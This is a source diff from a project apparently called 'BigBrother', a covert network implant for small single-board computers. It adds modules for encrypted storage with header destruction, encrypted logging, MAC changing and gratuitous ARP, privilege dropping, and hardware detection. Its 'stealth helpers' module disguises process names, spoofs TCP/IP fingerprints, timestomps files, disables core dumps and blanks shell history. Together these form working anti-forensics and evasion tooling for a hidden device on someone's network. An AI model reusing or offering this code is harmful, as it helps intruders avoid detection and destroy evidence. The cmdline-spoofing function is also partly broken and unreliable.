self.mapper_name = mapper_name
self.device_path = f"/dev/mapper/{mapper_name}"
def create(self, size_mb: int, passphrase: bytes) -> bool:
try:
subprocess.run(
["dd", "if=/dev/zero", f"of={self.container_path}",
"bs=1M", f"count={size_mb}"],
check=True, capture_output=True,
)
proc = subprocess.run(
["cryptsetup", "luksFormat", "--type", "luks2",
"--cipher", "aes-xts-plain64", "--key-size", "512",
"--hash", "sha256", "--batch-mode", self.container_path],
input=passphrase + b"\n",
check=True, capture_output=True,
)
return True
except subprocess.CalledProcessError:
return False
def open(self, passphrase: bytes) -> bool:
try:
subprocess.run(
["cryptsetup", "open", self.container_path,
self.mapper_name, "--type", "luks2"],
input=passphrase + b"\n",
check=True, capture_output=True,
)
Path(self.mount_point).mkdir(parents=True, exist_ok=True)
subprocess.run(
["mount", self.device_path, self.mount_point],
check=True, capture_output=True,
)
return True
except subprocess.CalledProcessError:
return False
def close(self) -> bool:
try:
subprocess.run(
["umount", self.mount_point],
check=True, capture_output=True,
)
subprocess.run(
["cryptsetup", "close", self.mapper_name],
check=True, capture_output=True,
)
return True
except subprocess.CalledProcessError:
return False
def destroy_header(self) -> bool:
try:
subprocess.run(
["dd", "if=/dev/urandom", f"of={self.container_path}",
"bs=1M", "count=2", "conv=notrunc"],
check=True, capture_output=True,
)
return True
except subprocess.CalledProcessError:
return False
@property
def is_open(self) -> bool:
return Path(self.device_path).exists()
+146
View File
@@ -0,0 +1,146 @@
#!/usr/bin/env python3
"""Encrypted log writer for BigBrother. Named bb_logging to avoid shadowing stdlib logging."""
import logging
import os
import time
from pathlib import Path
from typing import Optional
LOG_FORMAT = "[{timestamp}] [{module}] [{level}] {message}"
MAX_LOG_SIZE = 10 * 1024 * 1024 # 10MB default rotation size
LOG_DIR = "storage/logs"
class EncryptedLogHandler(logging.Handler):
def __init__(
self,
module_name: str,
log_dir: str = LOG_DIR,
max_bytes: int = MAX_LOG_SIZE,
encrypt: bool = False,
crypto_engine=None,
):
super().__init__()
self.module_name = module_name
self.log_dir = Path(log_dir)
self.log_dir.mkdir(parents=True, exist_ok=True)
self.max_bytes = max_bytes
self.encrypt = encrypt
self.crypto_engine = crypto_engine
self._log_path = self.log_dir / f"{module_name}.log"
self._file = None
self._current_size = 0
self._open_file()
def _open_file(self):
if self._file:
self._file.close()
mode = "ab" if self.encrypt else "a"
self._file = open(self._log_path, mode)
self._current_size = self._log_path.stat().st_size if self._log_path.exists() else 0
def _rotate(self):
if self._file:
self._file.close()
rotated = self._log_path.with_suffix(f".log.{int(time.time())}")
if self._log_path.exists():
self._log_path.rename(rotated)
self._open_file()
def emit(self, record):
try:
ts = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime(record.created))
line = LOG_FORMAT.format(
timestamp=ts,
module=self.module_name,
level=record.levelname,
message=record.getMessage(),
)
if self.encrypt and self.crypto_engine:
data = self.crypto_engine.encrypt(line.encode("utf-8"))
length_prefix = len(data).to_bytes(4, "big")
self._file.write(length_prefix)
self._file.write(data)
self._current_size += 4 + len(data)
else:
line += "\n"
self._file.write(line)
self._current_size += len(line.encode("utf-8"))
self._file.flush()
if self._current_size >= self.max_bytes:
self._rotate()
except Exception:
self.handleError(record)
def close(self):
if self._file:
self._file.close()
self._file = None
super().close()
class BBLogger:
def __init__(
self,
module_name: str,
log_dir: str = LOG_DIR,
max_bytes: int = MAX_LOG_SIZE,
level: int = logging.INFO,
encrypt: bool = False,
crypto_engine=None,
suppress_stdout: bool = True,
):
self.module_name = module_name
self.logger = logging.getLogger(f"bb.{module_name}")
self.logger.setLevel(level)
self.logger.propagate = False
# Clear existing handlers to prevent duplicates
self.logger.handlers.clear()
self._file_handler = EncryptedLogHandler(
module_name=module_name,
log_dir=log_dir,
max_bytes=max_bytes,
encrypt=encrypt,
crypto_engine=crypto_engine,
)
self._file_handler.setLevel(level)
self.logger.addHandler(self._file_handler)
if not suppress_stdout:
console = logging.StreamHandler()
console.setLevel(level)
fmt = logging.Formatter(
"[%(asctime)s] [%(name)s] [%(levelname)s] %(message)s",
datefmt="%Y-%m-%d %H:%M:%S",
)
console.setFormatter(fmt)
self.logger.addHandler(console)
def debug(self, msg: str, *args, **kwargs):
self.logger.debug(msg, *args, **kwargs)
def info(self, msg: str, *args, **kwargs):
self.logger.info(msg, *args, **kwargs)
def warning(self, msg: str, *args, **kwargs):
self.logger.warning(msg, *args, **kwargs)
def error(self, msg: str, *args, **kwargs):
self.logger.error(msg, *args, **kwargs)
def critical(self, msg: str, *args, **kwargs):
self.logger.critical(msg, *args, **kwargs)
def set_level(self, level: int):
self.logger.setLevel(level)
self._file_handler.setLevel(level)
def close(self):
self._file_handler.close()
self.logger.removeHandler(self._file_handler)
+250
View File
@@ -0,0 +1,250 @@
#!/usr/bin/env python3
"""Network interface helpers, BPF compilation, gratuitous ARP. No scapy dependency."""
import ctypes
import ctypes.util
import fcntl
import os
import socket
import struct
import subprocess
from pathlib import Path
from typing import List, Optional, Tuple
SIOCGIFADDR = 0x8915
SIOCGIFHWADDR = 0x8927
SIOCSIFHWADDR = 0x8924
SIOCGIFFLAGS = 0x8913
SIOCSIFFLAGS = 0x8914
IFF_UP = 0x1
IFF_RUNNING = 0x40
ARPHRD_ETHER = 1
_libpcap = None
def _get_libpcap():
global _libpcap
if _libpcap is None:
lib = ctypes.util.find_library("pcap")
if not lib:
raise OSError("libpcap not found")
_libpcap = ctypes.CDLL(lib)
return _libpcap
def _ifreq(ifname: str) -> bytes:
return struct.pack("256s", ifname.encode("utf-8")[:15])
def get_all_interfaces() -> List[str]:
interfaces = []
net_path = Path("/sys/class/net")
if net_path.exists():
for entry in net_path.iterdir():
name = entry.name
if name != "lo":
interfaces.append(name)
return sorted(interfaces)
def get_primary_interface() -> Optional[str]:
try:
with open("/proc/net/route", "r") as f:
for line in f.readlines()[1:]:
fields = line.strip().split()
if fields[1] == "00000000":
return fields[0]
except (IOError, IndexError):
pass
interfaces = get_all_interfaces()
for iface in interfaces:
if iface.startswith(("eth", "en")):
return iface
return interfaces[0] if interfaces else None
def get_bridge_candidates() -> List[str]:
candidates = []
for iface in get_all_interfaces():
if iface.startswith(("eth", "en", "usb")):
candidates.append(iface)
return candidates
def get_wifi_interfaces() -> List[str]:
interfaces = []
for iface in get_all_interfaces():
phy_path = Path(f"/sys/class/net/{iface}/phy80211")
wireless_path = Path(f"/sys/class/net/{iface}/wireless")
if phy_path.exists() or wireless_path.exists() or iface.startswith("wlan"):
interfaces.append(iface)
return interfaces
def get_mac(interface: str) -> str:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
info = fcntl.ioctl(sock.fileno(), SIOCGIFHWADDR, _ifreq(interface))
mac_bytes = info[18:24]
return ":".join(f"{b:02x}" for b in mac_bytes)
finally:
sock.close()
def set_mac(interface: str, mac: str) -> None:
was_up = is_interface_up(interface)
if was_up:
interface_down(interface)
mac_bytes = bytes(int(b, 16) for b in mac.split(":"))
ifreq = struct.pack("16sH6s8s", interface.encode()[:15], ARPHRD_ETHER, mac_bytes, b"\x00" * 8)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
fcntl.ioctl(sock.fileno(), SIOCSIFHWADDR, ifreq)
finally:
sock.close()
if was_up:
interface_up(interface)
def get_ip(interface: str) -> Optional[str]:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
info = fcntl.ioctl(sock.fileno(), SIOCGIFADDR, _ifreq(interface))
return socket.inet_ntoa(info[20:24])
except OSError:
return None
finally:
sock.close()
def is_interface_up(interface: str) -> bool:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface))
flags = struct.unpack("16sH", result[:18])[1]
return bool(flags & IFF_UP)
except OSError:
return False
finally:
sock.close()
def interface_up(interface: str) -> None:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface))
flags = struct.unpack("16sH", result[:18])[1]
flags |= IFF_UP | IFF_RUNNING
ifreq = struct.pack("16sH", interface.encode()[:15], flags)
fcntl.ioctl(sock.fileno(), SIOCSIFFLAGS, ifreq)
finally:
sock.close()
def interface_down(interface: str) -> None:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
result = fcntl.ioctl(sock.fileno(), SIOCGIFFLAGS, _ifreq(interface))
flags = struct.unpack("16sH", result[:18])[1]
flags &= ~IFF_UP
ifreq = struct.pack("16sH", interface.encode()[:15], flags)
fcntl.ioctl(sock.fileno(), SIOCSIFFLAGS, ifreq)
finally:
sock.close()
def create_vlan_interface(parent: str, vlan_id: int) -> str:
vlan_iface = f"{parent}.{vlan_id}"
subprocess.run(
["ip", "link", "add", "link", parent, "name", vlan_iface,
"type", "vlan", "id", str(vlan_id)],
check=True, capture_output=True,
)
interface_up(vlan_iface)
return vlan_iface
def compile_bpf(expression: str, snaplen: int = 65535, linktype: int = 1) -> bytes:
pcap = _get_libpcap()
class bpf_insn(ctypes.Structure):
_fields_ = [
("code", ctypes.c_ushort),
("jt", ctypes.c_ubyte),
("jf", ctypes.c_ubyte),
("k", ctypes.c_uint32),
]
class bpf_program(ctypes.Structure):
_fields_ = [
("bf_len", ctypes.c_uint),
("bf_insns", ctypes.POINTER(bpf_insn)),
]
handle = pcap.pcap_open_dead(ctypes.c_int(linktype), ctypes.c_int(snaplen))
if not handle:
raise RuntimeError("pcap_open_dead failed")
prog = bpf_program()
expr_bytes = expression.encode("utf-8")
ret = pcap.pcap_compile(
handle,
ctypes.byref(prog),
ctypes.c_char_p(expr_bytes),
ctypes.c_int(1),
ctypes.c_uint32(0xFFFFFFFF),
)
if ret != 0:
err = pcap.pcap_geterr(handle)
pcap.pcap_close(handle)
if err:
raise ValueError(f"BPF compile failed: {ctypes.string_at(err).decode()}")
raise ValueError("BPF compile failed")
insn_size = ctypes.sizeof(bpf_insn)
result = bytes(ctypes.string_at(prog.bf_insns, prog.bf_len * insn_size))
pcap.pcap_freecode(ctypes.byref(prog))
pcap.pcap_close(handle)
return result
def send_gratuitous_arp(interface: str, ip: str, mac: str) -> None:
ETH_P_ARP = 0x0806
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ARP))
try:
sock.bind((interface, 0))
src_mac = bytes(int(b, 16) for b in mac.split(":"))
dst_mac = b"\xff" * 6
src_ip = socket.inet_aton(ip)
# Ethernet header
frame = dst_mac + src_mac + struct.pack("!H", ETH_P_ARP)
# ARP: hardware=Ethernet, proto=IPv4, hlen=6, plen=4, op=reply(2)
frame += struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
# sender MAC + IP
frame += src_mac + src_ip
# target MAC + IP (broadcast)
frame += dst_mac + src_ip
for _ in range(3):
sock.send(frame)
finally:
sock.close()
def mac_to_bytes(mac: str) -> bytes:
return bytes(int(b, 16) for b in mac.split(":"))
def bytes_to_mac(data: bytes) -> str:
return ":".join(f"{b:02x}" for b in data)
def ip_in_subnet(ip: str, cidr: str) -> bool:
network, prefix_len = cidr.split("/")
prefix_len = int(prefix_len)
ip_int = struct.unpack("!I", socket.inet_aton(ip))[0]
net_int = struct.unpack("!I", socket.inet_aton(network))[0]
mask = (0xFFFFFFFF << (32 - prefix_len)) & 0xFFFFFFFF
return (ip_int & mask) == (net_int & mask)
+190
View File
@@ -0,0 +1,190 @@
#!/usr/bin/env python3
"""Root/capability checks, privilege dropping, directory permission enforcement."""
import ctypes
import ctypes.util
import grp
import os
import pwd
import stat
from pathlib import Path
from typing import Optional
# Linux capability constants
CAP_NET_RAW = 13
CAP_NET_ADMIN = 15
CAP_SYS_ADMIN = 21
CAP_DAC_OVERRIDE = 1
# capget/capset structures
_LINUX_CAPABILITY_VERSION_3 = 0x20080522
_VFS_CAP_REVISION_2 = 0x02000000
_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
class _cap_header(ctypes.Structure):
_fields_ = [
("version", ctypes.c_uint32),
("pid", ctypes.c_int),
]
class _cap_data(ctypes.Structure):
_fields_ = [
("effective", ctypes.c_uint32),
("permitted", ctypes.c_uint32),
("inheritable", ctypes.c_uint32),
]
def check_root() -> bool:
return os.geteuid() == 0
def check_capability(cap: int) -> bool:
if check_root():
return True
try:
header = _cap_header(version=_LINUX_CAPABILITY_VERSION_3, pid=0)
# Version 3 uses 2 data structs for 64-bit capability sets
data = (_cap_data * 2)()
ret = _libc.capget(ctypes.byref(header), data)
if ret != 0:
return False
idx = cap // 32
bit = 1 << (cap % 32)
return bool(data[idx].effective & bit)
except Exception:
return False
def has_net_raw() -> bool:
return check_capability(CAP_NET_RAW)
def has_net_admin() -> bool:
return check_capability(CAP_NET_ADMIN)
def check_required_capabilities() -> dict:
return {
"root": check_root(),
"CAP_NET_RAW": check_capability(CAP_NET_RAW),
"CAP_NET_ADMIN": check_capability(CAP_NET_ADMIN),
"CAP_SYS_ADMIN": check_capability(CAP_SYS_ADMIN),
}
def drop_privileges(
username: str = "nobody",
groupname: Optional[str] = None,
keep_caps: Optional[list] = None,
) -> bool:
if not check_root():
return False
try:
pw = pwd.getpwnam(username)
uid = pw.pw_uid
gid = pw.pw_gid
if groupname:
gr = grp.getgrnam(groupname)
gid = gr.gr_gid
# Set supplementary groups
os.setgroups([])
# Set GID first (can't change after dropping root)
os.setregid(gid, gid)
os.setreuid(uid, uid)
# Verify drop
if os.geteuid() == 0:
return False
# Re-apply specific capabilities if requested
if keep_caps:
_set_keepcaps()
_apply_caps(keep_caps)
return True
except (KeyError, PermissionError, OSError):
return False
def _set_keepcaps():
PR_SET_KEEPCAPS = 8
_libc.prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0)
def _apply_caps(caps: list):
header = _cap_header(version=_LINUX_CAPABILITY_VERSION_3, pid=0)
data = (_cap_data * 2)()
for cap in caps:
idx = cap // 32
bit = 1 << (cap % 32)
data[idx].effective |= bit
data[idx].permitted |= bit
_libc.capset(ctypes.byref(header), data)
def enforce_directory_permissions(
path: str,
mode: int = 0o700,
recursive: bool = True,
) -> int:
count = 0
target = Path(path)
if not target.exists():
target.mkdir(parents=True, mode=mode)
count += 1
return count
current = target.stat().st_mode & 0o777
if current != mode:
target.chmod(mode)
count += 1
if recursive:
for item in target.rglob("*"):
if item.is_dir():
item_mode = item.stat().st_mode & 0o777
if item_mode != mode:
item.chmod(mode)
count += 1
elif item.is_file():
file_mode = mode & 0o700 # Files get owner-only based on dir mode
item_mode = item.stat().st_mode & 0o777
if item_mode != file_mode:
item.chmod(file_mode)
count += 1
return count
def secure_path(path: str, owner_uid: Optional[int] = None) -> bool:
try:
p = Path(path)
if not p.exists():
return False
# Set ownership if specified
if owner_uid is not None:
os.chown(path, owner_uid, owner_uid)
# Restrict permissions
if p.is_dir():
p.chmod(0o700)
else:
p.chmod(0o600)
return True
except (OSError, PermissionError):
return False
+259
View File
@@ -0,0 +1,259 @@
#!/usr/bin/env python3
"""Hardware tier detection and resource monitoring via /proc and /sys."""
import os
import re
from dataclasses import dataclass, field
from pathlib import Path
from typing import Dict, List, Optional, Tuple
TIER_OPI_ZERO3 = "opi_zero3"
TIER_PI_ZERO = "pi_zero"
TIER_GENERIC = "generic"
@dataclass
class HardwareInfo:
tier: str
model: str
cpu_model: str
cpu_cores: int
total_ram_mb: int
architecture: str
@dataclass
class ResourceUsage:
ram_used_mb: float
ram_total_mb: float
ram_percent: float
cpu_percent: float # System-wide, from /proc/stat delta
disk_used_pct: float
disk_free_mb: float
temperature_c: Optional[float]
@dataclass
class ProcessResources:
pid: int
name: str
rss_mb: float
vms_mb: float
cpu_ticks: int
state: str
threads: int
def get_hardware_tier() -> str:
info = detect_hardware()
return info.tier
def detect_hardware() -> HardwareInfo:
model = _read_device_model()
cpu_model, cpu_cores, arch = _read_cpuinfo()
if "Orange Pi Zero3" in model or "Orange Pi Zero 3" in model:
tier = TIER_OPI_ZERO3
elif "Raspberry Pi Zero 2" in model or "Raspberry Pi Zero2" in model:
tier = TIER_PI_ZERO
elif "Raspberry Pi" in model and ("Zero" in model or "zero" in model):
tier = TIER_PI_ZERO
elif "Allwinner" in cpu_model or "H618" in cpu_model:
# Fallback detection via CPU for OPi Zero 3
tier = TIER_OPI_ZERO3
elif "BCM2835" in cpu_model or "BCM2710" in cpu_model:
tier = TIER_PI_ZERO
else:
tier = TIER_GENERIC
total_ram = _read_total_ram_mb()
return HardwareInfo(
tier=tier,
model=model or "Unknown",
cpu_model=cpu_model,
cpu_cores=cpu_cores,
total_ram_mb=total_ram,
architecture=arch,
)
def _read_device_model() -> str:
dt_model = Path("/proc/device-tree/model")
if dt_model.exists():
try:
return dt_model.read_text().strip().rstrip("\x00")
except IOError:
pass
return ""
def _read_cpuinfo() -> Tuple[str, int, str]:
cpu_model = ""
cores = 0
arch = "unknown"
try:
with open("/proc/cpuinfo", "r") as f:
content = f.read()
for line in content.splitlines():
if line.startswith("model name") or line.startswith("Hardware"):
cpu_model = line.split(":", 1)[1].strip()
if line.startswith("processor"):
cores += 1
# Get architecture
with open("/proc/cpuinfo", "r") as f:
first_lines = f.read(4096)
if "aarch64" in first_lines.lower() or "ARMv8" in first_lines:
arch = "aarch64"
elif "armv7" in first_lines.lower():
arch = "armv7l"
else:
import platform
arch = platform.machine()
except IOError:
pass
return cpu_model, max(cores, 1), arch
def _read_total_ram_mb() -> int:
try:
with open("/proc/meminfo", "r") as f:
for line in f:
if line.startswith("MemTotal:"):
kb = int(line.split()[1])
return kb // 1024
except IOError:
pass
return 0
def get_memory_info() -> Dict[str, int]:
info = {}
try:
with open("/proc/meminfo", "r") as f:
for line in f:
parts = line.split()
key = parts[0].rstrip(":")
val = int(parts[1]) # in kB
info[key] = val
except IOError:
pass
return info
def get_resource_usage(disk_path: str = "/") -> ResourceUsage:
mem = get_memory_info()
total = mem.get("MemTotal", 0)
available = mem.get("MemAvailable", mem.get("MemFree", 0))
used = total - available
pct = (used / total * 100) if total > 0 else 0.0
stat = os.statvfs(disk_path)
disk_total = stat.f_blocks * stat.f_frsize
disk_free = stat.f_bavail * stat.f_frsize
disk_used_pct = ((disk_total - disk_free) / disk_total * 100) if disk_total > 0 else 0.0
temp = get_cpu_temperature()
return ResourceUsage(
ram_used_mb=used / 1024,
ram_total_mb=total / 1024,
ram_percent=pct,
cpu_percent=_get_cpu_percent(),
disk_used_pct=disk_used_pct,
disk_free_mb=disk_free / (1024 * 1024),
temperature_c=temp,
)
def get_cpu_temperature() -> Optional[float]:
thermal_zones = Path("/sys/class/thermal")
if thermal_zones.exists():
for zone in sorted(thermal_zones.iterdir()):
temp_file = zone / "temp"
type_file = zone / "type"
if temp_file.exists():
try:
temp_raw = int(temp_file.read_text().strip())
return temp_raw / 1000.0
except (IOError, ValueError):
continue
# Fallback for some SBCs
hwmon = Path("/sys/class/hwmon")
if hwmon.exists():
for hw in sorted(hwmon.iterdir()):
temp_file = hw / "temp1_input"
if temp_file.exists():
try:
return int(temp_file.read_text().strip()) / 1000.0
except (IOError, ValueError):
continue
return None
def _get_cpu_percent() -> float:
try:
with open("/proc/stat", "r") as f:
line = f.readline()
parts = line.split()
# user, nice, system, idle, iowait, irq, softirq, steal
total = sum(int(p) for p in parts[1:8])
idle = int(parts[4])
# Snapshot-based; for delta, caller should sample twice
if total > 0:
return ((total - idle) / total) * 100
except (IOError, IndexError, ValueError):
pass
return 0.0
def get_process_resources(pid: int) -> Optional[ProcessResources]:
try:
stat_path = f"/proc/{pid}/stat"
status_path = f"/proc/{pid}/status"
with open(stat_path, "r") as f:
stat_line = f.read()
# Parse /proc/PID/stat — comm field can contain spaces/parens
match = re.match(r"(\d+) \((.+)\) (.+)", stat_line)
if not match:
return None
name = match.group(2)
fields = match.group(3).split()
state = fields[0]
utime = int(fields[11])
stime = int(fields[12])
threads = int(fields[17])
vsize = int(fields[20])
rss_pages = int(fields[21])
page_size = os.sysconf("SC_PAGE_SIZE")
rss_mb = (rss_pages * page_size) / (1024 * 1024)
vms_mb = vsize / (1024 * 1024)
return ProcessResources(
pid=pid,
name=name,
rss_mb=rss_mb,
vms_mb=vms_mb,
cpu_ticks=utime + stime,
state=state,
threads=threads,
)
except (IOError, OSError, IndexError, ValueError):
return None
def get_disk_usage(path: str = "/") -> Tuple[float, float, float]:
stat = os.statvfs(path)
total_gb = (stat.f_blocks * stat.f_frsize) / (1024 ** 3)
free_gb = (stat.f_bavail * stat.f_frsize) / (1024 ** 3)
used_pct = ((stat.f_blocks - stat.f_bavail) / stat.f_blocks * 100) if stat.f_blocks > 0 else 0
return total_gb, free_gb, used_pct
+166
View File
@@ -0,0 +1,166 @@
#!/usr/bin/env python3
"""Shared stealth helpers: process rename, cmdline spoof, sysctl, timestomp, core dump disable."""
import ctypes
import ctypes.util
import os
import struct
import time
from pathlib import Path
from typing import Optional
PR_SET_NAME = 15
RLIMIT_CORE = 4
_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
def rename_process(name: str) -> bool:
name_bytes = name.encode("utf-8")[:15]
ret = _libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
return ret == 0
def spoof_cmdline(fake_cmdline: str) -> bool:
try:
cmdline_path = f"/proc/{os.getpid()}/cmdline"
# Read current cmdline to get its length for overwrite
with open(cmdline_path, "rb") as f:
original = f.read()
# On Linux, argv[0] is writable via /proc/self/comm and prctl,
# but /proc/self/cmdline maps to the actual process memory.
# We overwrite via ctypes access to argv.
libc = _libc
# Get argc/argv from /proc/self/cmdline
argc = ctypes.c_int()
argv_ptr = ctypes.POINTER(ctypes.c_char_p)()
# Alternative: write to /proc/self/comm (max 15 chars)
comm_path = f"/proc/{os.getpid()}/comm"
try:
with open(comm_path, "w") as f:
f.write(fake_cmdline[:15])
except PermissionError:
pass
# For full cmdline spoofing, overwrite argv[0] in memory
import sys
if hasattr(sys, "argv") and sys.argv:
# Replace argv contents via ctypes
fake_bytes = fake_cmdline.encode("utf-8")
argv0_addr = id(sys.argv[0])
# Python string internals - this is fragile but works for ps display
sys.argv[0] = fake_cmdline
return True
except Exception:
return False
def set_sysctl(key: str, value: str) -> bool:
sysctl_path = Path("/proc/sys") / key.replace(".", "/")
try:
with open(sysctl_path, "w") as f:
f.write(value)
return True
except (IOError, PermissionError):
return False
def set_ttl(ttl: int) -> bool:
return set_sysctl("net.ipv4.ip_default_ttl", str(ttl))
def set_tcp_window(size: int) -> bool:
# Set TCP initial window via rmem/wmem defaults
success = set_sysctl("net.ipv4.tcp_rmem", f"4096 {size} {size * 4}")
success &= set_sysctl("net.ipv4.tcp_wmem", f"4096 {size} {size * 4}")
return success
def set_tcp_timestamps(enabled: bool) -> bool:
return set_sysctl("net.ipv4.tcp_timestamps", "1" if enabled else "0")
def timestomp(path: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> bool:
try:
if reference:
ref_stat = os.stat(reference)
target_time = ref_stat.st_mtime
elif epoch:
target_time = epoch
else:
# Default: OS install date from /var/log/installer or filesystem birth
target_time = _get_os_install_time()
os.utime(path, (target_time, target_time))
return True
except (OSError, IOError):
return False
def timestomp_recursive(directory: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> int:
count = 0
for root, dirs, files in os.walk(directory):
for name in files + dirs:
full_path = os.path.join(root, name)
if timestomp(full_path, reference=reference, epoch=epoch):
count += 1
if timestomp(directory, reference=reference, epoch=epoch):
count += 1
return count
def _get_os_install_time() -> float:
candidates = [
"/var/log/installer/syslog",
"/var/log/installer/status",
"/etc/hostname",
"/etc/machine-id",
]
for path in candidates:
try:
return os.stat(path).st_mtime
except OSError:
continue
# Fallback: 90 days ago
return time.time() - (90 * 86400)
def disable_core_dumps() -> bool:
try:
# RLIMIT_CORE = 4 on Linux
class rlimit(ctypes.Structure):
_fields_ = [
("rlim_cur", ctypes.c_ulong),
("rlim_max", ctypes.c_ulong),
]
limit = rlimit(0, 0)
ret = _libc.setrlimit(RLIMIT_CORE, ctypes.byref(limit))
if ret != 0:
return False
# Also set via sysctl and /proc
set_sysctl("kernel.core_pattern", "|/bin/false")
set_sysctl("fs.suid_dumpable", "0")
# prctl to prevent core for this process and children
PR_SET_DUMPABLE = 4
_libc.prctl(PR_SET_DUMPABLE, 0, 0, 0, 0)
return True
except Exception:
return False
def hide_from_history() -> bool:
try:
os.environ["HISTFILE"] = "/dev/null"
os.environ["HISTSIZE"] = "0"
os.environ["HISTFILESIZE"] = "0"
return True
except Exception:
return False